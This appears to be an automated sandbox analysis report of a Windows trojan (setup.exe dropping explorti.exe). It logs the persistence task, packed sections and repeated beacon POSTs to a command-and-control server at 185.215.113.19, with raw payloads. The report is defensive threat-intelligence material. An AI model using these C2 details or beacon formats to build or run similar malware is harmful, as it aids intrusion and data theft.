Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 41 32 44 37 37 42 39 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7FBA2D77B95082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View

IP Address: 185.215.113.19 185.215.113.19

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Code function: 6_2_00F5BD60 InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_00F5BD60

Source: unknown

HTTP traffic detected: POST /Vi9leo/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.19Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/=
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp, explorti.exe, 00000006.00000002.2883573047.00000000006E7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php&
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php(
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php1
Source: explorti.exe, 00000006.00000002.2883573047.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php54
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.php6
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpC:
Source: explorti.exe, 00000006.00000002.2883573047.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpL3
Source: explorti.exe, 00000006.00000002.2883573047.0000000000740000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpQ
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpV
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpWindows
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpeb8a7
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpm32
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpoft
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpon
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phpppData
Source: explorti.exe, 00000006.00000002.2883573047.0000000000718000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.19/Vi9leo/index.phprosoft

System Summary

PE file contains section with special chars

Source: setup.exe	Static PE information: section name:
Source: setup.exe	Static PE information: section name: .idata
Source: setup.exe	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name:
Source: explorti.exe.0.dr	Static PE information: section name: .idata
Source: explorti.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F54CF0	6_2_00F54CF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F93068	6_2_00F93068
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F5E440	6_2_00F5E440
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F87D83	6_2_00F87D83
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F54AF0	6_2_00F54AF0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F9765B	6_2_00F9765B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F92BD0	6_2_00F92BD0
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F9777B	6_2_00F9777B
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F98720	6_2_00F98720
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Code function: 6_2_00F96F09	6_2_00F96F09

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe 589EB31A43D44FE275C70BFC3F592965B9236B59645A7ED633BBEC66526D64AB

Source: setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: setup.exe	Static PE information: Section: ZLIB complexity 0.9998612534153005
Source: setup.exe	Static PE information: Section: usoriijt ZLIB complexity 0.9945536283368326
Source: explorti.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9998612534153005
Source: explorti.exe.0.dr	Static PE information: Section: usoriijt ZLIB complexity 0.9945536283368326

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@0/1

Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Desktop\setup.exe

File created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: setup.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\setup.exe

File read: C:\Users\user\Desktop\setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\setup.exe "C:\Users\user\Desktop\setup.exe"
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
Source: C:\Users\user\Desktop\setup.exe	Process created: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe "C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"	Jump to behavior

Source: C:\Users\user\Desktop\setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\setup.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
